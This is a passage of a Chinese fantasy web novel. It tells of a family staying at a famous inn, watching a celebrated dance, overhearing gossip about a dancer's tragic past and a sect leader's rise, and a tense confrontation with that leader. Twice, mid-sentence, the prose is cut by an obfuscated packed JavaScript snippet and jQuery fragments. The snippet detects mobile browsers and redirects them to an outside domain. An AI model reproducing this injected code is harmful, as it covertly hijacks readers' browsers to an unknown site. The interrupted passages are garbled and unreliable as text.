秦叙带着几人,撩开仙月楼门前垂落的珠帘,走进大堂,“伙计,住店。” “哎,来啦。”客栈的伙计闻声小跑上来,将人领到柜台面前,“客官住店要几间房?” 秦叙道:“四间上房,最好都在一起,不要隔得太远的。” “好嘞,”伙计闻言,很开心地笑了,低头将几人的信息记录了一下,又弯腰从柜台中取了钥匙递给他,“客官,二楼楼梯上去,左手边四间,顶好的上房。” “好,多谢。”秦叙麻利地结了帐,拿了钥匙转身走到几人面前。 那边方桌上,三人围桌歇脚,吃着桌上小二送上的瓜子点心与茶水。见秦叙走来,秦湘停下了欲再拿一块牡丹饼的手,转而为他斟了一杯茶,“爹,喝茶,这茶水听小二说是洛阳名茶桐柏玉叶,与西湖龙井相娉美也有之过而不及。” 秦叙坐下,接过她送过来的茶水,喝了一口,滋味鲜爽醇厚,清香持久。他捧着茶杯,淡淡地笑了笑,“这茶的滋味倒也还如之前一样,不曾变过。” “咦?”闻言,秦湘惊奇地看向他,“爹,听你这话的意思,你之前来过这仙月楼吗?” 见几人好奇地目光都落在了他身上,秦叙一顿,笑了笑,“来过,那时候你还没出生呢,楚闵都也才刚出生没多久,二十年前的事了。” “二十年前?!”秦湘有点震惊,“二十年前这家店就已经是霞羽城的名楼了吗?” 她很少出门,平日里热爱的东西除了吃吃喝喝练剑外,接触除巴陵外的地界不多,所以对于修仙界内的一些什么八卦事宜知之甚少。但此时却被秦叙这话勾起了兴致,不禁发问。 秦叙点了点头,“是啊,那时也是群英论剑大会,我与你阿娘曾来过这一回。霞羽城中,仙月楼独领风采,雕梁画栋,灯火辉煌,其中最出名的便是这仙月楼的月宴席,星辰舞了。” 恰逢伙计上来收拾桌椅,期间路过四人身旁,听闻秦叙提起仙月楼的辉煌,不由得地眼睛一亮,脚步一顿,也插话进来,“这位客官倒是了解得多,咱们楼啊,就是靠这个月宴席,星辰舞闻名的。” “月宴席,星辰舞?”秦湘问道,“是我想的那个意思吗?在月下摆席,在星辰下起舞?” “是的,这位客官想得也不错,就是这个意思,”小二笑道,“众所周知啊,咱们这儿白日里远不如夜晚热闹,等到了晚上,在灯火璀璨中,整座城那才算是真正的梦回神都盛世繁华。这月夜席,星辰舞中最妙的点就是在这舞上面。” “舞?”周楚闵喝了一口茶,问道,“可是指那霓裳羽衣舞?” 那伙计欣喜道:“对,没错!就是指这霓裳羽衣舞。二十年前,咱们楼中可出过一个负有盛名的舞姬,名叫月影,月影姑娘国色天香,月下一舞霓裳,如似仙影下凡,所以后来每夜慕名前来仙月楼看月影姑娘一舞霓裳的名流雅士不计其数,故而名动天下。虽然如今月影姑娘已经不在仙月楼了,但是咱们楼中的霓裳羽衣舞却还是一绝的,今夜也有设场,几位客官届时若是无事,可前来落席观看,绝对是璀璨夺目,大有可观。” 闻言,几人相互对视了几眼,秦湘笑了笑,转头答道:“好,我们知道了,届时若是有空,一定过来观看。” 是夜,一行人赶了几天路也着实是累得紧了些,故而也没想着第一天就去霞羽城当中逛逛夜市。反正闲来无事,便留在这仙月楼吃吃当地的特色美食和看看白日里伙计所说的星辰舞。 所谓的月宴席,顾名思义,也就是在月色下摆席。作为霞羽城最有名的酒楼,仙月楼的设计无可置疑地是奢华至极。不似巴陵的小楼酒家,仙月楼是一座庭院园林型的酒楼,在主楼后边,端的是抄手游廊,转过穿堂,亭台楼阁,池馆水榭,朱门绿瓦,雕梁画栋。 月宴席便是摆在这庭院之中。华灯初上,笙歌醉人,秦湘一行人由仙月楼的伙计领着走进这如梦如幻般的繁华景象之中,撩开珠帘翠幕,身着绫罗臂挽披帛的仕女笑靥如花地走上前来,侍奉着几人落座,又端上了两壶好茶,两碟点心。 俏丽的仕女垂首为几人斟好茶,又娇笑着起身道:“诸位贵客先用些茶水点心,耐心等待片刻,夜宴很快便开。” 几人都不是很喜欢有人守在面前看着服侍着饮食,于是朝她道了谢后,便让人退下了。 “白日里未曾瞧见,这仙月楼里竟是如此的豪华奢靡,此情此景,壮丽轩昂,笙歌彻夜,倒真有几分如似仙境的意味。”坐在这楼台亭宇内,秦湘端着那只暖玉杯,看着周围一个个身姿曼妙明艳动人的侍女身着霓裳罗裙,纤纤素手举着酒壶款款走过,步履轻盈飘飘欲仙,不由得感叹道。 闻言,周楚闵笑道:“阿湘,你已经被这泼天的富贵迷住眼了。” “嗐,”秦湘摇摇头,又为自己斟了一杯茶,“谁说不是呢,我还是第一次见到这种天潢贵胄的感觉,所有的东西总结起来只能用一个词来形容。” “是什么?”周楚闵好奇地接话道。 秦湘笑了笑,将自己心中所想的那个词说了出来:“有钱,非常有钱。” 听着秦湘的话,几人一愣,也笑了起来。一盏茶的功夫过后,琼筵玉盏,宴席初开。只见几条悬挂在楼宇雕梁上的红绸绫罗从空中飘然而下,落在了庭院中央的檀木莲花舞台之上,随着一声丝竹之音弹开,无数花瓣也在这一刻漫天而下,庭院之中的客人都停下了手中的动作,抬头望向那方。 一个身着霓裳霞披,长袖翩然,约莫只有十六七岁的明艳女郎足尖在绸缎上轻轻一点,钿璎纍纍,玉佩珊珊,翩若惊鸿,飘若回雪。她轻轻巧巧地拉着绸缎从空中一跃而下,稳稳地飘落在了莲花台上。 神女入场,歌舞开场。台下一片寂静无声,只闻得台上磬箫筝笛,递相弹奏,击扌厌弹吹,循序渐进,悠扬曲折。待到序曲完毕,中序擘騞入拍,乐曲由柔转刚,神女带着仙娥翩然而至莲花台中央。 月华如水星光灿,霓裳轻舞似云烟。飘然转旋回雪轻,嫣然纵送游龙惊。 看着面前美轮美奂的歌舞,饶是秦湘这般不通音律不解风情的人,也不由得地被狠狠震惊住了。这一刻,仿佛置身仙境,她目不转睛地看着面前身姿婆娑翩若仙女的舞姬,连呼吸都不由自主地放慢了一瞬。 一舞毕,台下静了一瞬,旋即,爆发出了一阵激烈的喝彩,“好!”舞姬们朝着台下宾客嫣然一笑,广袖展然裙裾翻飞,步摇轻响翩跹而去。 秦湘眨了眨眼睛,也从惊艳之中回过神来,她端着面前的暖玉盏轻轻啜了一口,才感叹道:“这舞果真当得了一句名动天下,这一会儿的功夫,倒真真让我身临其境地看到了一番千年前的盛世。” “是啊,翩若惊鸿,宛若游龙。”周楚闵也是第一回看见这样的歌舞,一时心情也颇有感想。 “曾有一著名诗人说过,千歌万舞不可数,就中最爱霓裳舞。”秦叙笑道,“我当初读到这句诗的时候,还不知为何这霓裳羽衣舞能在那众多乐舞之中脱颖而出,直到后来有幸观得,才算真正明了,这舞,是实至名归的。” “可不就是实至名归,”秦湘笑了笑,又转头和身边坐着的长锦搭话,“神君,你是不是也被惊艳到了?” 长锦看了她一眼,笑着点点头:“舞罢歌尽,余音缭绕,回味无穷。” “月宴席,星辰舞。当真是仙乐仙姿,人间难得呐。” 这一袭歌舞,惊艳的并不止是秦湘一行人。楼阁雅座之间以珠帘纱幕相隔,只能阻隔人影,却不能阻其声,且因为观看歌舞的原因,这珠帘纱幕早已被侍女们束缚在了一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975394|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,各个雅座之间都是互通的,偏头一瞧便能瞧见身旁坐了些什么人。 秦湘听得隔壁如此夸赞,心中也是舒坦大喜,转头瞧见身旁这雅座中坐了个年轻小修,此时也是一副回味无穷的表情感叹着,不禁失笑。正欲低声与身旁几人说,隔壁道友好眼光时,却忽然又闻得更远一些的隔间传来另一个修士不屑的声音:“哎哟,这位道友还真是太年轻见识少了些,今夜的舞只能说是中规中矩罢了。” 此言一出,不仅一旁的小修震惊疑惑,秦湘也颇为不解,她悄悄地转头去瞧,只见那小修身旁的一个雅间内,坐着几个年纪相对较长的修士,其中一个正端着一杯热茶,慢悠悠地看向隔壁方才发出感叹的年轻小修。 那人颇为好奇,于是诚心发问:“道友此言为何意?如此舞姿,还只能称得上为中规中矩?” “是啊,二十年前,我有幸见过仙月楼的头牌月影姑娘的那一舞霓裳,与这些相比,那才能算得上被称之为仙人仙姿呢,如今这没了月影姑娘的仙月楼,虽与其他酒楼相比仍是一骑绝尘,但若与二十年前的仙月楼来相比之,早就大不如从前了。” 说起这些江湖八卦,席间的人基本来了兴致,有人插嘴接梗道:“是啊,这位道友是第一回来仙月楼吧?不然怎么会没听说过月影姑娘的名号?” 那小修确实年轻,瞧上去年纪与秦湘他们倒也相仿,十几岁的年纪,又怎会知道二十年前的这些风流韵事,于是挠挠头笑道:“不瞒各位,我这确实是第一回来苍龙山参加群英大会,今晚的歌舞已让我如置仙境,可方才听闻几位道友说起,这仙月楼之前竟还出过比这还要惊艳人心的歌舞,一时之间也有些好奇,不知能否多讲两句,这月影姑娘的舞姿到底是何等地绰约不凡啊?” 那几人被提起了话茬子,此时有人乐意听他们讲述这些八卦消息,心中自是欢喜不过。连忙端过两碟瓜子儿一盏热茶,起身调转了个坐的方向,与隔壁那人便拼成了一桌,又眉飞色舞地谈论着二十年前的那些英雄美人爱恨情仇的故事。 恰好秦湘这桌的饭菜也正巧上来,于是几人便一边吃着饭菜,一边听着隔壁的谈论。 “看你这么年轻,又这么想知道,那我就跟你说说吧,那也是二十年前的事了,那时候啊,仙月楼有一位年轻的舞姬,名叫月影,而那时候仙月楼也不叫仙月楼,是因为有月影姑娘,所以才改名叫做仙月楼的。” “是啊,我记得那时候有个说法是形容月影姑娘的,叫做,月下一舞霓裳,如似仙影下凡。”席间有人回想道,“我那年也才十几岁的年纪,如你现在这一般大,参加完群英论剑大会之后和同伴来了仙月楼。当时月影姑娘的名号已经算是名动天下了,要想看月影姑娘一舞参加这月宴席哪里像现在这么简单,简直就是千金难求。” “哎,李兄还是说保守了,何止是千金难求,简直是万金难买。那舞那曲人间难得几回闻,简直就是天上才有的,咱们也算是有幸啊,能观得那一回,不过那年之后,想要再看一回月影姑娘的霓裳羽衣舞,那只能是在梦中了。” “嗯?”听到这儿,秦湘悄悄抬眼打量了隔壁一眼,看着那几人脸上如痴如醉的神情,不禁拉拉秦叙的衣袖,朝他低声问道,“爹,那月影姑娘的舞真如他们说的那么好?让人都过去了二十年了回想起来还是这副如痴如醉的神情?” “他们确实也没有夸大,”秦叙轻声道,“月影姑娘月下一舞,被人称为月华仙子。当年我和你阿娘跟着你乔伯伯他们一道过来看了一回,后面回去之后好几年都对其他乐舞提不起兴致了。” “因为见过最好的,其他的相比之下就黯然失色了吧?”周楚闵也悄声接话。 “是啊。”秦叙喝了口茶,像是想到了些什么,感慨道,“仙子本就不属于人间,可却总有人凭着一己私利妄图将美的东西据为己有,到头来不过是两败俱伤,物是人非罢了。” 听着秦叙的话,秦湘顿了一顿,似乎是这月影姑娘后面结局并不算好,见他眉头微蹙,神情有些微厌恶,于是也识趣地没有再发问了,转而拍拍他,为他夹了一夹菜,轻声道,“好了,爹,讨厌的事情就先不想了,吃饭吃饭。” 一行人停止了交谈接着吃饭,可身旁的议论却也还在如火如荼地继续着。 那年轻小修很好奇,凑在一旁发问道:“听诸位道友说了这月影姑娘良多,我倒是好奇,二十年前月影姑娘最出名的时候也不过才年芳十六,就算一舞再难求,月影姑娘青春易逝也该是许多年后的光景,可这位道友又怎么会说在那年之后,要想再见一回月影姑娘的霓裳羽衣舞,就只能在梦中了呢?” 50.舞姬月影 听得他这一本正经地发问,席间的几位年长修士面面相觑,旋即相视大笑。 年轻小修看着他们发笑,也是如同丈二和尚,摸不着头脑。等了好半晌,看着他们好不容易止住了笑,才继续问道:“几位道友何故发笑啊?可是我说错什么话了?” “这位小友今年当真是第一回出山吧?对这江湖上的事还真是一无所知啊?”有人笑道,“见小友如此纯真,那你可清楚这修仙界中的六大门派为哪几派啊?” “道友说笑了,就算我今年确实是第一回出山,这修仙界六大门派的名讳我还是知道的。” “那你可知道飞羽门?” “飞羽门?六大门派中排行第四的那个?听说飞羽门太掌门自创的万雷剑法威震四方,后来凭借着这本剑谱,所以飞羽门才会在六大门派之中占据一地席位。”那年轻小修摸着下巴想了想,顿了顿,又回过神来望着面前的人接着道,“不过咱们不是在聊月影姑娘吗?怎么会扯到飞羽门上面去?这月影姑娘和飞羽门之间可有什么联系?” “哎哟,这你就不知道了吧,”听他被他引导接着发问,那人一拍桌子,兴奋道,“这月影姑娘和这飞羽门啊,联系可就大了!你可知如今飞羽门的门主是何人?” “哦?”那小修兴趣在他这一惊一乍之中确实被吸引起来了,忙问道,“不是林听晚门主吗?” “哎哟,小友你果然是与世隔绝久了,林听晚门主在两年前就已经仙去了,如今飞羽门的门主是她同父异母的妹妹,林秋月。而这林秋月啊,正是月影姑娘所出。” “!!!”听闻这名修士的话语,秦湘简直惊呆住了,她知道,林秋月是飞羽门老门主和他的宠妾所出,但是她并不知道飞羽门门主的宠妾竟然会是仙月楼名动天下的舞姬月影啊。而且据他们方才所言,二十年前,月影不过年方十六,可那时的飞羽门老掌门却早已年过四十。 在花溪镇那一战中,她曾与林听晚林秋月有过一面之缘,当时她还觉得奇怪,为何两姐妹之间的年纪看起来相差如此之大,可这毕竟也是别人的私事,纵使心中再好奇,也只能压在心底,想想便也就过去了。如今再推推这个时间差,当时的林听晚不过也才十三,可她却有一个与她同龄只差三岁的小娘,所以后来的林秋月与林听晚之间,应是相差十五岁的。 推算到这儿,秦湘心中一阵唏嘘,这月影姑娘风华正茂的年纪,怎么会愿意嫁给一个年纪大到能当她爹的人物做妾?简直是太离谱了。 觉得离谱的并不止秦湘一人,方才发问的年轻小修听到这个消息,瞬间震惊得双眼睁大,好半晌都没缓过劲来。他愣愣地提着茶壶给自己斟了一杯茶喝了下去压了压惊,才不可置信地继续道:“这位道友可不是在说笑?林听晚掌门好好地又怎么会仙去?而且飞羽门老掌门二十年前也已年过四十,按方才道友所说,二十年前月影姑娘也才年芳十六,这相差如此之大,怎可相配?” “嗐,确实不相配,”有人笑道,“可架不住人家有钱有权有势啊。” 话题越扯越远,已经从一开始的乐舞扯到六大门派之一掌门人的辛秘上来了。这一圈都是些说不上名号的小修,资质平平不思进取却还自命不凡,自己不如意也见不得人家半分的好。所以一说起关于六大门派的不是,他们总是十分兴奋且乐意至极的。 “小友还不知道吧?这飞羽门老掌门林逸兴虽然法术剑法算上乘,但人却是一个十足的酒色之徒。除了结发妻子外,那林逸兴还另娶了七房妾室,那些女子都是他在外游山玩水所搜罗的绝色美女,而月影姑娘正是他的第七夫人。” “所以就是二十年前那林逸兴来了仙月楼看见了貌美的月影姑娘,所以心中欢喜,就将她带了回去成了他的宠妾?可是,就算林掌门有钱有权,这还是相差甚大,月影姑娘会愿意?” “怎么可能会愿意?月影姑娘年轻貌美,一舞值万金,怎会看上那等都快年过半百的人物。”那人嗤笑一声,“那段时间我正巧在这霞羽城中小住,这件事,没有比我知道得更清楚的了。” 那人抓了一把瓜子儿,眼中闪耀着八卦的光辉,激动地看向那边卖关子的人:“哦?所以当时是个什么情况?道友说来听听。” “就是那年群英论剑大会后,林逸兴也听闻了月影姑娘的名号,他本就是个贪图美色的人,自然不会错过这等美人,就也来了这仙月楼,结果嘛,不出所料地就这么喜欢上了月影姑娘,可月影姑娘哪里会喜欢他,自然一口回绝了。不过那林掌门是何许人也,哪里就会死心,后来嘛就直接日日住在了仙月楼中,直到一个月后的一天,终于被他得到了机会。” “什么机会?”那人十分给面子,与说话那人同行的几人也不知道还有这一茬,此时也被提起了十分的兴趣,被几人这火热的目光一盯着,他有些得意地扬了扬眉毛,接着道,“这件事说起来和仙月楼中的另一个舞姬有关。” “嗯?另一个舞姬?那是什么人?” “月影姑娘的徒弟,清宁姑娘。” “清宁姑娘?”在场有人听他提起这个名字,露出了一副恍如隔世的神情,他思忖了一会,一拍大腿道,“我记得她,好像是有这么个人,虽然比起月影姑娘来说是差点,但是我记得月影姑娘每回演出的时候都会将她带在身边,还会向我们介绍,两人虽是师徒但月影姑娘待她更像姐妹吧?” “正是,月影清宁,说是师徒,实则更像姐妹。” “所以方才说和她有关?是她见到那月影姑娘被门主看上,一时心中嫉妒,故而选择帮助林逸兴?” “不是不是,”那人听到这个猜想,连忙摇头,叹道,“李兄此言差矣,事实与你所想的恰恰相反,清宁姑娘没有做过这等恩将仇报的事情,是那林逸兴知晓了清宁姑娘的存在,知道在月影姑娘心中清宁姑娘是何等的重要。所以以清宁姑娘的性命相要挟,月影姑娘没有办法,这才跟着林逸兴回了飞羽门的。” “什么?想不到当年事情真相竟是这样的?” “是啊,不过林逸兴也算是栽在了月影姑娘身上了,听说纳了月影姑娘做了第七夫人后,月影姑娘从没给过他好脸色,表面上和静,却无时不刻不盼着他去死,在被迫生了林秋月之后,这恨意就上了个新高度,所以后来林逸兴也死在了她手里,一副毒药,同归于尽。清宁姑娘知道了月影姑娘去世的消息后,觉得月影姑娘是因为她所以才会死的,于是在那之后便患上了抑郁之症,不过两年,也撒手追随着月影姑娘而去。” 听闻这些辛秘,秦湘简直膛目结舌,林逸兴死的那年她才刚出生,后来在书卷上所描述飞羽门老门主确实是死于中毒,但描述不多,更何况她也不会平白无故特地去了解一些其他门派的八卦消息,所以对于这些要不是今晚隔壁这几个修士八卦的声音着实大,让人不可忽视,她是无论无何也不会得知的。 她忽然想到那时秦叙那句“有人凭着一己私利妄图将美的事物据为己有,到头来却落得个两败俱伤”,于是便下意识凑近秦叙悄声问道:“爹,他们说的可是事实?飞羽门的林逸兴门主当真是死在月影姑娘手中?” “嗯,”秦叙放下碗筷,这些事情虽然在书卷上并未记载,但当年闹得盛大,且飞羽门中妻妾孩子甚多,门内斗争不断,所以事情的真相多多少少还是传出来了一些的,他轻声道,“他们所言非虚,月影姑娘虽为舞姬,却性子刚烈,当年林逸兴仗着自己飞羽门门主的身份,试图将她强行带回飞羽门,她誓死不从,所以后来听说她成了林逸兴的七夫人之时,我们还震惊意外了许久,只是没想到,真相竟是如此。” 秦湘握着筷子的手紧了紧,心中也没由来的有些唏嘘。 是啊,人一旦有了牵挂既像是有了盔甲也算是有了软肋,清宁是月影的盔甲,也是她的软肋,所以在林逸兴拿着清宁当作筹码时,月影就没办法了,为了救下妹妹的性命,只能暂且屈服于他。 不过她到底还是个刚烈的女子,怎能甘心就这样日日夜夜与仇人同眠共枕?所以她算计好了一切,才会在后来找了机会给他下毒杀了他,但林逸兴毕竟还是一派之主,所以她只能以身入局,与仇人同归于尽? 想到这里,秦湘一顿,脑海中突然又闪过了飞羽门林听晚掌门修炼心法走火入魔而亡的消息。之前她并不知道林秋月的母亲就是仙月楼的月影姑娘,如今再这么仔细想想,因为林逸兴这贪恋美色的性子,导致膝下子女众多,所以飞羽门内部常年斗争不断,而林听晚仙去之后,林逸兴剩下的那几个孩子斗争就更激烈了,到最后手足相残,只余下一个林秋月成了飞羽门的新任门主。 虽然不能以恶意来揣测别人,但就目前所知的这些来看,秦湘不得不在心中想,这一切难道真的就这么巧合吗?林听晚和林氏三兄弟的死,真的那么简单吗?真的不会是林秋月因为母亲的死而对飞羽门的报复吗? 显然这么直白地想的并不止秦湘一人,那边那年轻小修今晚上吃到的八卦一个比一个大,此时表情也是一次比一次更要震惊,他嘴巴大张,好半晌才回过味儿来,磕巴道:“这……这这这可当真?飞羽门的老门主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984692|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真是被月影姑娘所杀的?!那现在的门主怎么会是林秋月呢?就算林听晚已经仙去,飞羽门其他公子也不能答应吧?” “哎哟,飞羽门其他公子怎么可能答应呢,林逸兴风流成性,膝下子嗣甚多,所以众所周知飞羽门多年以来门内斗争不断,林秋月是月影姑娘所出,月影姑娘又杀了林逸兴,与其他公子之间都算是隔了杀父之仇了。” “啧啧啧,这关系可真是太乱了,”席间有人的认知都要被颠覆了,感慨道,“那既如此,林秋月就算是林逸兴最小的孩子了吧,与其他孩子的年龄差距都有十岁以上了,林逸兴又死在月影姑娘手中,按理来讲,林秋月那时都还只是个一岁小儿,他们怎么会允许杀父仇人的孩子活下来?尽管那是他们同父异母的妹妹。” “这话说得是不错的,当时其他公子可都想着杀了她的,还是大小姐心善,留下了她一命,而且又对她颇为照顾,林秋月这才能长成如今的模样。” “大小姐?林听晚?” “是啊,就是飞羽门上任门主林听晚,林逸兴正妻所出,也是他众多子嗣中唯一的嫡亲。”那人喝了口茶,又接着道,“林小姐心善,所有人都厌恶林秋月,只有她护着她,只是没想到啊,一腔真心付诸东流,最后不仅门主之位没了,就连命也都没了。” 这话说得就有些大逆不道了,席间几人相互盼顾,彼此脸上都有些不自觉地战栗颤抖,虽然害怕,却更多的还是兴奋激动:“所以道友的意思是?是林秋月杀了林听晚,然后挑起门内斗争,让自己的兄弟手足相残,最后坐收渔翁之利?” 那人虽然没亲眼所见,但此时这么一说着,仿佛他说的就是板上钉钉的事实一般:“是啊,我觉得肯定是这样的,不然怎么好好的林听晚会走火入魔而亡?而林听晚一死,飞羽门的门派斗争更激烈了,在那之后没多久除去林秋月之外的其他几位公子也相继死去,而且我听说,飞羽门内部有些位高权重不支持林秋月为新任门主的长老们也都离奇死了。这还能说明什么,谁是利益既得者谁就是主谋!” “天、天哪,这怎么可能呢?!这简直太疯狂了。” “想不到吧?我也想不到,但是事实就是如此,这事儿也不只是我一个人说的,很多人都知道飞羽门内部不和斗争严重的事情,只是不知道月影姑娘的人自然不知道这其中的联系,要我说啊,如今的飞羽门,那就是林秋月……” 那人说到一半,却忽然止住了话头。只听一声清脆的破裂,几人桌上的暖玉茶具应声而碎,一枚雪亮精巧的小箭钉在了他们面前的方桌上,杀气四溢,几人大骇,连忙抬头朝着一旁望去。 秦湘一行人也被这突然袭来的暗器一惊,俱是抬头朝着那方看去。只见他们面前站着两排身着紫色衣袍,头系紫色发带的年轻修士,为首的是一男一女,男子身形修长,一袭暗紫色劲装,面色冷峻,两指之间还凝聚着一柄散发着寒光的雪白小箭。 女子面容艳丽,眉如弯月,一袭紫色绣金丝衣裙,乌黑的发鬓间簪了两只蝴蝶珠钗,她看着面前方才还在高声谈阔的人,眼中虽然带笑意,却莫名让人遍体生寒,“阁下见解精辟,令人钦佩不已,只是方才我听见阁下的直言不讳,心中莫名生出一些不快,冒昧出手打断,真是唐突阁下了,还望各位莫怪莫怪。”女子一边说着,一边朝着这边抖如筛糠的几名修士行了一礼。 这乖张嘲讽的语气,这熟悉的紫色金丝派服,不是飞羽门新任门主林秋月还能是谁? 传闻中屠了飞羽门满门,将飞羽门里里外外不服从的人杀了个干净的人物就站在他们面前,尽管她瞧上去只是个年轻貌美柔柔弱弱的女子,但谁又能知道在这张纯良无害的面孔下竟是那样一副阴狠毒辣的心肠。 看着她嘴角伪装的温和笑意,几位修士此时哪里还有一丝方才眉飞色舞的样子,他们扑通一声栽倒在地,连连叩首:“不知林掌门莅临,是我等多嘴,求林掌门高抬贵手,就且饶过我们这一回吧!” 林秋月冷哼一声,缓缓直起身子,皮笑肉不笑道:“诸位这是做什么?仙月楼中贵客众多,我一介小小后辈,怎能惊扰各位前辈,所以请放心罢,就算再不快,也不至于让各位血溅当场。” 闻言,几人已经语无伦次大汗淋漓,以头抢地,“不,不要!!林掌门饶命,饶命啊!!” “好说好说,我打断各位也并非是要你们的命,”林秋月展然一笑,“只是秋月一向嘴笨,今日得见诸位巧舌如簧,心中难免生羡,不如这样,你们将这舌头赠予我,我就放过你们,如何?” 51.群英大会 林秋月说着,嘴角的弧度也慢慢放平,立在她身旁的男子得了她的首肯,手中银光乍现,一柄如雪般明亮的长剑应召出现在他手中。 男子表情冷漠,眼神阴鸷,手提长剑朝着雅座中跪着的几人缓缓走来。那边的几人此时更是止不住地全身颤抖,不断摇头倒退,“不!不要!不要!!饶了我们吧!饶了我们吧!!” 眼见着场面即将朝着不可收拾的方向发展而去,秦湘和周楚闵当即便准备站起来上前去,忽然,一道焦急的青年嗓音却自一旁传来,“秋月!” 众人纷纷侧首望去,只见庭院之中,立着十余个身披黑色斗篷,腰佩上品宝剑的年轻修士,为首的男子一袭金丝锦衣,头戴玉冠,双眉紧锁,站在人群中,也正朝着这边看。 他一声惊呼,打破了这剑拔弩张的紧张气氛,场面暂时得到了控制,一旁坐着的两人也松了口气,重新坐了回去,悄悄地打量着那边的景象。 秦湘看着他朝着林秋月走了过去,瞧两人的关系是相熟的,可那些人的装扮却不像是飞羽门的人,一时心下也忍不住好奇,于是便低声朝着秦叙问道:“爹,那是谁?” 秦叙掀起眼帘朝着那边看了眼,轻声道:“云雾宗贺宗主独子,贺景文。” “贺景文?”秦湘悄悄又往那边打量了一眼,林秋月也侧身而立,静静地看着贺景文朝她走过来,眼神淡淡,瞧不出什么情绪。 贺景文走到林秋月身边,看看面前黑衣男子手中的剑刃,又看看包间中不断跪地求饶的几个修士,眉头一蹙,又将目光放在了她脸上,问道:“秋月,你这是在做什么?” 林秋月站在他面前,微微扬头看了他一会儿,才挪开视线,轻笑道:“没什么,就是今晚上不顺心,所以想为难几个人罢了。” 贺景文知道林秋月与这仙月楼的关系,这会儿只当是几个口无遮拦不知天高地厚的东西不小心冲撞了她,惹得她不快,且眼下这里也人多口杂,着实不宜闹大。又看了看桌上破碎的玉壶和那枚钉在桌面的精巧小箭,于是便低声道:“那你发泄完了吗?发泄完了就跟我走吧,这里人多眼杂,不要将事情闹大。” 闻言,林秋月左右看了一会儿,视线落在了秦湘这一桌上来。感受到来自一旁的目光,众人也不愿意在这时候陷入这种风波,于是便都垂着眼帘,装模作样地吃着饭。 林秋月打量了他们好一会儿,谁也不知道她心中在想什么。就在秦湘以为她是不是认出了他们然后准备像方才对待旁边那桌修士一样对待他们时,林秋月却轻笑一声,将目光收了回去,转而对一旁持剑的黑衣男子道:“凌川,回来。” “是。”被叫做凌川的黑衣男子收了剑,又重新站回了林秋月身边。 林秋月冷冷地盯着面前满脸惊恐跪倒在地的几个修士,声音中的阴戾杀意不言而喻,“这次算你们走运,放过你们一回,倘若下次再让我不顺心,碎的,就不是那只暖玉壶了。” “是是是,我们不敢了,不敢了。”听到这句话,众修士如获大赦,匍匐在地,磕头如捣蒜。 贺景文站在一旁,轻声道:“走吧。” 两人带着飞羽门和云雾宗的弟子们离开了,留下庭院内一众惊恐交加的人窃窃私语。 秦湘一路看着林秋月与贺景文的身影消失在游廊拐角处,这才收回目光,对秦叙道:“爹,这飞羽门和云雾宗什么时候这么熟了?” 周楚闵也觉得奇怪,“是啊,方才瞧那林秋月和贺景文,一副相识已久的模样。” “不知道,”秦叙皱了皱眉头,直接道,“我与这两家并没什么交情。” “……”两人被秦叙这直接干脆的回答一噎,皆是一愣。也是今晚上问话问得太顺嘴了些,直接把她爹当百晓通用了,秦湘怔了片刻,旋即挠挠头,笑了笑,“好吧,没什么交情也没事,那贺景文是个什么样的人瞧不出来,不过今晚上看那林秋月,不像是个好相处的主,让人琢磨不透。”秦湘边说着,又想到了那时林秋月看他们这一桌时的眼神,不禁打了个寒颤。 周楚闵在一旁听见秦湘的这句话,也笑道:“阿湘,且不论今晚上那些人说的是真是假,光凭林秋月年纪轻轻就当上了飞羽门的门主,还将门内高层都换成了自己心腹这一点来看,你觉得她会是个好相处好拿捏的主吗?” 秦湘一怔,敲了敲脑子。是了是了,都怪她光只是注意林秋月这张人畜无害的脸了,竟一时忘了这一档子事。这样的人,若是没些什么心机手段,怎么从飞羽门那群老狐狸中脱颖而出。 “好了,这件事就此作罢,不要再说了,我们今晚只是来吃饭观舞的,”秦叙打断了两人还要接着往下的交谈,“时辰也不早了,明日还要去苍龙山参加群英论剑大会,早些回去歇息吧。” 秦叙都已经这么说了,秦湘与周楚闵自然也就乖乖闭嘴了。一行人用完饭,在庭院中又晃了两圈消消食,这才回了房间,开始为明天的比赛养足精神。 翌日,在仙月楼用过早饭之后,秦叙便带着几人出了霞羽城,自苍龙山方向而走。走了约莫小半个时辰有余,终于抵达了苍龙山山顶。 群英论剑大会由清虚门主持,苍龙山也隶属清虚门地界,每年大会开始之前,清虚门都会提前派遣长老弟子前往苍龙山做好准备,在山门前设置守门弟子负责接待,只要有掌门或长老携门派弟子前来,守门弟子在告知其大赛流程之后,便会立即引路安顿。 “因为今年参赛的仙门众多,所以今年大会分东西南北四个赛场,每个赛场中又设置了五个场地同时开放,”山门前的守山弟子将一份赛前规则书卷呈给秦叙,接着道,“其余规则大致不变,分初赛半决赛决赛,所有人抽签来决定对手,胜出的人参与下一轮抽签,直到得出最终胜利者。” “好,知道了,多谢。”秦叙接过那份书卷,朝他点了点头道谢。 守山弟子一愣,旋即笑了笑:“秦掌门不必客气,这是我们应该做的。”说罢,便传了另一名引路弟子将人迎着带去了抽签地抽签。 此时时间已经不算太早,大赛未时正刻开始。上午的时间里,五湖四海的仙门百家都已陆续来到了苍龙山,苍龙山内,人群热闹非凡,苍龙山上方,灿如流星的御剑光影络绎不绝。 